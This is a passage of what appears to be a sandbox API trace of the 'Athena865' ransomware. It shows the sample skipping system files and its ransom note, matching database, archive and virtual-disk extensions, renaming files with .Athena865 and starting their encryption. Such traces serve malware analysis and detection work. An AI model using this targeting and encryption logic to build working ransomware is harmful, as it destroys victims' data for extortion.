(lpString="rod") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="rod") returned -1 [0148.901] lstrlenW (lpString="rodx") returned 4 [0148.901] lstrcmpiW (lpString1=".HXK", lpString2="rodx") returned -1 [0148.901] lstrlenW (lpString="rpd") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="rpd") returned -1 [0148.901] lstrlenW (lpString="rsd") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="rsd") returned -1 [0148.901] lstrlenW (lpString="sas7bdat") returned 8 [0148.901] lstrcmpiW (lpString1="_COL.HXK", lpString2="sas7bdat") returned -1 [0148.901] lstrlenW (lpString="sbf") returned 3 [0148.901] lstrcmpiW (lpString1="HXK", lpString2="sbf") returned -1 [0148.901] lstrlenW (lpString="scx") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="scx") returned -1 [0148.902] lstrlenW (lpString="sdb") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="sdb") returned -1 [0148.902] lstrlenW (lpString="sdc") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="sdc") returned -1 [0148.902] lstrlenW (lpString="sdf") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="sdf") returned -1 [0148.902] lstrlenW (lpString="sis") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="sis") returned -1 [0148.902] lstrlenW (lpString="spq") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="spq") returned -1 [0148.902] lstrlenW (lpString="te") returned 2 [0148.902] lstrcmpiW (lpString1="XK", lpString2="te") returned 1 [0148.902] lstrlenW (lpString="teacher") returned 7 [0148.902] lstrcmpiW (lpString1="COL.HXK", lpString2="teacher") returned -1 [0148.902] lstrlenW (lpString="tmd") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="tmd") returned -1 [0148.902] lstrlenW (lpString="tps") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="tps") returned -1 [0148.902] lstrlenW (lpString="trc") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="trc") returned -1 [0148.902] lstrlenW (lpString="trc") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="trc") returned -1 [0148.902] lstrlenW (lpString="trm") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="trm") returned -1 [0148.902] lstrlenW (lpString="udb") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="udb") returned -1 [0148.902] lstrlenW (lpString="udl") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="udl") returned -1 [0148.902] lstrlenW (lpString="usr") returned 3 [0148.902] lstrcmpiW (lpString1="HXK", lpString2="usr") returned -1 [0148.903] lstrlenW (lpString="v12") returned 3 [0148.903] lstrcmpiW (lpString1="HXK", lpString2="v12") returned -1 [0148.903] lstrlenW (lpString="vis") returned 3 [0148.903] lstrcmpiW (lpString1="HXK", lpString2="vis") returned -1 [0148.903] lstrlenW (lpString="vpd") returned 3 [0148.903] lstrcmpiW (lpString1="HXK", lpString2="vpd") returned -1 [0148.903] lstrlenW (lpString="vvv") returned 3 [0148.903] lstrcmpiW (lpString1="HXK", lpString2="vvv") returned -1 [0148.903] lstrlenW (lpString="wdb") returned 3 [0148.903] lstrcmpiW (lpString1="HXK", lpString2="wdb") returned -1 [0148.903] lstrlenW (lpString="wmdb") returned 4 [0148.903] lstrcmpiW (lpString1=".HXK", lpString2="wmdb") returned -1 [0148.903] lstrlenW (lpString="wrk") returned 3 [0148.903] lstrcmpiW (lpString1="HXK", lpString2="wrk") returned -1 [0148.903] lstrlenW (lpString="xdb") returned 3 [0148.903] lstrcmpiW (lpString1="HXK", lpString2="xdb") returned -1 [0148.903] lstrlenW (lpString="xld") returned 3 [0148.903] lstrcmpiW (lpString1="HXK", lpString2="xld") returned -1 [0148.903] lstrlenW (lpString="xmlff") returned 5 [0148.903] lstrcmpiW (lpString1="L.HXK", lpString2="xmlff") returned -1 [0148.903] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.Athena865") returned 75 [0148.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0148.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.909] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0148.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.909] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.910] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.910] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.910] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0148.912] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0148.913] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.913] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.913] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.914] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.914] CloseHandle (hObject=0x17c) returned 1 [0148.914] CloseHandle (hObject=0x154) returned 1 [0148.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.915] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17253500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x521b7160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17253500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINSCHD.VRD", cAlternateFileName="")) returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2=".") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="..") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="windows") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="bootmgr") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="temp") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="pagefile.sys") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="boot") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="ids.txt") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="ntuser.dat") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="perflogs") returned 1 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2="MSBuild") returned 1 [0148.915] lstrlenW (lpString="WINSCHD.VRD") returned 11 [0148.915] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINSCHD.VRD" | out: lpString1="WINSCHD.VRD") returned="WINSCHD.VRD" [0148.915] lstrlenW (lpString="WINSCHD.VRD") returned 11 [0148.915] lstrlenW (lpString="Athena865") returned 9 [0148.915] lstrcmpiW (lpString1="NSCHD.VRD", lpString2="Athena865") returned 1 [0148.915] lstrlenW (lpString=".dll") returned 4 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2=".dll") returned 1 [0148.915] lstrlenW (lpString=".lnk") returned 4 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2=".lnk") returned 1 [0148.915] lstrlenW (lpString=".ini") returned 4 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2=".ini") returned 1 [0148.915] lstrlenW (lpString=".sys") returned 4 [0148.915] lstrcmpiW (lpString1="WINSCHD.VRD", lpString2=".sys") returned 1 [0148.916] lstrlenW (lpString="WINSCHD.VRD") returned 11 [0148.916] lstrlenW (lpString="bak") returned 3 [0148.916] lstrcmpiW (lpString1="VRD", lpString2="bak") returned 1 [0148.916] lstrlenW (lpString="ba_") returned 3 [0148.916] lstrcmpiW (lpString1="VRD", lpString2="ba_") returned 1 [0148.916] lstrlenW (lpString="dbb") returned 3 [0148.916] lstrcmpiW (lpString1="VRD", lpString2="dbb") returned 1 [0148.916] lstrlenW (lpString="vmdk") returned 4 [0148.916] lstrcmpiW (lpString1=".VRD", lpString2="vmdk") returned -1 [0148.916] lstrlenW (lpString="rar") returned 3 [0148.916] lstrcmpiW (lpString1="VRD", lpString2="rar") returned 1 [0148.916] lstrlenW (lpString="zip") returned 3 [0148.916] lstrcmpiW (lpString1="VRD", lpString2="zip") returned -1 [0148.916] lstrlenW (lpString="tgz") returned 3 [0148.916] lstrcmpiW (lpString1="VRD", lpString2="tgz") returned 1 [0148.916] lstrlenW (lpString="vbox") returned 4 [0148.916] lstrcmpiW (lpString1=".VRD", lpString2="vbox") returned -1 [0148.916] lstrlenW (lpString="vdi") returned 3 [0148.916] lstrcmpiW (lpString1="VRD", lpString2="vdi") returned 1 [0148.916] lstrlenW (lpString="vhd") returned 3 [0148.916] lstrcmpiW (lpString1="VRD", lpString2="vhd") returned 1 [0148.916] lstrlenW (lpString="vhdx") returned 4 [0148.916] lstrcmpiW (lpString1=".VRD", lpString2="vhdx") returned -1 [0148.916] lstrlenW (lpString="avhd") returned 4 [0148.916] lstrcmpiW (lpString1=".VRD", lpString2="avhd") returned -1 [0148.916] lstrlenW (lpString="db") returned 2 [0148.916] lstrcmpiW (lpString1="RD", lpString2="db") returned 1 [0148.916] lstrlenW (lpString="db2") returned 3 [0148.916] lstrcmpiW (lpString1="VRD", lpString2="db2") returned 1 [0148.916] lstrlenW (lpString="db3") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="db3") returned 1 [0148.917] lstrlenW (lpString="dbf") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="dbf") returned 1 [0148.917] lstrlenW (lpString="mdf") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="mdf") returned 1 [0148.917] lstrlenW (lpString="mdb") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="mdb") returned 1 [0148.917] lstrlenW (lpString="sql") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="sql") returned 1 [0148.917] lstrlenW (lpString="sqlite") returned 6 [0148.917] lstrcmpiW (lpString1="HD.VRD", lpString2="sqlite") returned -1 [0148.917] lstrlenW (lpString="sqlite3") returned 7 [0148.917] lstrcmpiW (lpString1="CHD.VRD", lpString2="sqlite3") returned -1 [0148.917] lstrlenW (lpString="sqlitedb") returned 8 [0148.917] lstrcmpiW (lpString1="SCHD.VRD", lpString2="sqlitedb") returned -1 [0148.917] lstrlenW (lpString="xml") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="xml") returned -1 [0148.917] lstrlenW (lpString="$er") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="$er") returned 1 [0148.917] lstrlenW (lpString="4dd") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="4dd") returned 1 [0148.917] lstrlenW (lpString="4dl") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="4dl") returned 1 [0148.917] lstrlenW (lpString="^^^") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="^^^") returned 1 [0148.917] lstrlenW (lpString="abs") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="abs") returned 1 [0148.917] lstrlenW (lpString="abx") returned 3 [0148.917] lstrcmpiW (lpString1="VRD", lpString2="abx") returned 1 [0148.917] lstrlenW (lpString="accdb") returned 5 [0148.918] lstrcmpiW (lpString1="D.VRD", lpString2="accdb") returned 1 [0148.918] lstrlenW (lpString="accdc") returned 5 [0148.918] lstrcmpiW (lpString1="D.VRD", lpString2="accdc") returned 1 [0148.918] lstrlenW (lpString="accde") returned 5 [0148.918] lstrcmpiW (lpString1="D.VRD", lpString2="accde") returned 1 [0148.918] lstrlenW (lpString="accdr") returned 5 [0148.918] lstrcmpiW (lpString1="D.VRD", lpString2="accdr") returned 1 [0148.918] lstrlenW (lpString="accdt") returned 5 [0148.918] lstrcmpiW (lpString1="D.VRD", lpString2="accdt") returned 1 [0148.918] lstrlenW (lpString="accdw") returned 5 [0148.918] lstrcmpiW (lpString1="D.VRD", lpString2="accdw") returned 1 [0148.918] lstrlenW (lpString="accft") returned 5 [0148.918] lstrcmpiW (lpString1="D.VRD", lpString2="accft") returned 1 [0148.918] lstrlenW (lpString="adb") returned 3 [0148.918] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0148.918] lstrlenW (lpString="adb") returned 3 [0148.918] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0148.918] lstrlenW (lpString="ade") returned 3 [0148.918] lstrcmpiW (lpString1="VRD", lpString2="ade") returned 1 [0148.918] lstrlenW (lpString="adf") returned 3 [0148.918] lstrcmpiW (lpString1="VRD", lpString2="adf") returned 1 [0148.918] lstrlenW (lpString="adn") returned 3 [0148.918] lstrcmpiW (lpString1="VRD", lpString2="adn") returned 1 [0148.918] lstrlenW (lpString="adp") returned 3 [0148.918] lstrcmpiW (lpString1="VRD", lpString2="adp") returned 1 [0148.918] lstrlenW (lpString="alf") returned 3 [0148.918] lstrcmpiW (lpString1="VRD", lpString2="alf") returned 1 [0148.918] lstrlenW (lpString="ask") returned 3 [0148.918] lstrcmpiW (lpString1="VRD", lpString2="ask") returned 1 [0148.918] lstrlenW (lpString="btr") returned 3 [0148.919] lstrcmpiW (lpString1="VRD", lpString2="btr") returned 1 [0148.919] lstrlenW (lpString="cat") returned 3 [0148.919] lstrcmpiW (lpString1="VRD", lpString2="cat") returned 1 [0148.919] lstrlenW (lpString="cdb") returned 3 [0148.919] lstrcmpiW (lpString1="VRD", lpString2="cdb") returned 1 [0148.919] lstrlenW (lpString="ckp") returned 3 [0148.919] lstrcmpiW (lpString1="VRD", lpString2="ckp") returned 1 [0148.919] lstrlenW (lpString="cma") returned 3 [0148.919] lstrcmpiW (lpString1="VRD", lpString2="cma") returned 1 [0148.919] lstrlenW (lpString="cpd") returned 3 [0148.919] lstrcmpiW (lpString1="VRD", lpString2="cpd") returned 1 [0148.919] lstrlenW (lpString="dacpac") returned 6 [0148.919] lstrcmpiW (lpString1="HD.VRD", lpString2="dacpac") returned 1 [0148.919] lstrlenW (lpString="dad") returned 3 [0148.919] lstrcmpiW (lpString1="VRD", lpString2="dad") returned 1 [0148.919] lstrlenW (lpString="dadiagrams") returned 10 [0148.919] lstrcmpiW (lpString1="INSCHD.VRD", lpString2="dadiagrams") returned 1 [0148.919] lstrlenW (lpString="daschema") returned 8 [0148.919] lstrcmpiW (lpString1="SCHD.VRD", lpString2="daschema") returned 1 [0148.919] lstrlenW (lpString="db-journal") returned 10 [0148.919] lstrcmpiW (lpString1="INSCHD.VRD", lpString2="db-journal") returned 1 [0148.919] lstrlenW (lpString="db-shm") returned 6 [0148.919] lstrcmpiW (lpString1="HD.VRD", lpString2="db-shm") returned 1 [0148.919] lstrlenW (lpString="db-wal") returned 6 [0148.919] lstrcmpiW (lpString1="HD.VRD", lpString2="db-wal") returned 1 [0148.919] lstrlenW (lpString="dbc") returned 3 [0148.919] lstrcmpiW (lpString1="VRD", lpString2="dbc") returned 1 [0148.919] lstrlenW (lpString="dbs") returned 3 [0148.920] lstrcmpiW (lpString1="VRD", lpString2="dbs") returned 1 [0148.920] lstrlenW (lpString="dbt") returned 3 [0148.920] lstrcmpiW (lpString1="VRD", lpString2="dbt") returned 1 [0148.920] lstrlenW (lpString="dbv") returned 3 [0148.920] lstrcmpiW (lpString1="VRD", lpString2="dbv") returned 1 [0148.920] lstrlenW (lpString="dbx") returned 3 [0148.920] lstrcmpiW (lpString1="VRD", lpString2="dbx") returned 1 [0148.920] lstrlenW (lpString="dcb") returned 3 [0148.920] lstrcmpiW (lpString1="VRD", lpString2="dcb") returned 1 [0148.920] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.Athena865") returned 69 [0148.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.athena865"), dwFlags=0x1) returned 1 [0148.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.922] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1544) returned 1 [0148.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.923] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.923] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.923] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.924] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x910, lpName=0x0) returned 0x17c [0148.925] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x910) returned 0x100000 [0148.925] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.926] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.926] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.927] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.927] CloseHandle (hObject=0x17c) returned 1 [0148.927] CloseHandle (hObject=0x154) returned 1 [0148.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.927] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97366800, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97366800, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x718092, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINWORD.DEV.HXS", cAlternateFileName="WINWOR~1.HXS")) returned 1 [0148.927] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.927] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.927] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2=".") returned 1 [0148.927] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="..") returned 1 [0148.927] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="windows") returned 1 [0148.927] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="bootmgr") returned 1 [0148.928] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="temp") returned 1 [0148.928] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="pagefile.sys") returned 1 [0148.928] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="boot") returned 1 [0148.928] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="ids.txt") returned 1 [0148.928] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="ntuser.dat") returned 1 [0148.928] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="perflogs") returned 1 [0148.928] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2="MSBuild") returned 1 [0148.928] lstrlenW (lpString="WINWORD.DEV.HXS") returned 15 [0148.928] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINWORD.DEV.HXS" | out: lpString1="WINWORD.DEV.HXS") returned="WINWORD.DEV.HXS" [0148.928] lstrlenW (lpString="WINWORD.DEV.HXS") returned 15 [0148.928] lstrlenW (lpString="Athena865") returned 9 [0148.928] lstrcmpiW (lpString1="D.DEV.HXS", lpString2="Athena865") returned 1 [0148.928] lstrlenW (lpString=".dll") returned 4 [0148.928] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2=".dll") returned 1 [0148.928] lstrlenW (lpString=".lnk") returned 4 [0148.928] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2=".lnk") returned 1 [0148.928] lstrlenW (lpString=".ini") returned 4 [0148.928] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2=".ini") returned 1 [0148.928] lstrlenW (lpString=".sys") returned 4 [0148.928] lstrcmpiW (lpString1="WINWORD.DEV.HXS", lpString2=".sys") returned 1 [0148.928] lstrlenW (lpString="WINWORD.DEV.HXS") returned 15 [0148.928] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.Athena865") returned 73 [0148.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.athena865"), dwFlags=0x1) returned 1 [0148.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.931] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7438482) returned 1 [0148.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.931] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.932] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.932] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.932] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7183a0, lpName=0x0) returned 0x17c [0148.934] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x1183a0) returned 0x2bb0000 [0149.090] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.091] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | 